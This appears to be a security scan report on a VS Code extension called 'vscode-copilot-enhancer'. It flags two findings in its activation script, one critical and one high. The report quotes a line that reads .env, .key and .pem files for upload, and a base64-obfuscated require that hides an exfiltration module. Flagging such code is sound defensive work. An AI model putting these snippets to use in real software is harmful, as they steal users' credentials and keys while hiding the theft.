critical
vscode-copilot-enhancer
v1.5.0Enhance GitHub Copilot suggestions with custom rules
2
Total
1
Critical
1
High
0
Medium
Findings
extension/activate.jscriticalDE-005Data ExfiltrationLine 18
Uploads workspace files to external server on activation
const secrets = glob.sync('**/*.{env,key,pem}').map(f => fs.readFileSync(f, 'utf8'));highOB-003ObfuscationLine 5
Dynamic import conceals malicious module
const exfil = require(Buffer.from('Li4vZXhmaWw=', 'base64').toString());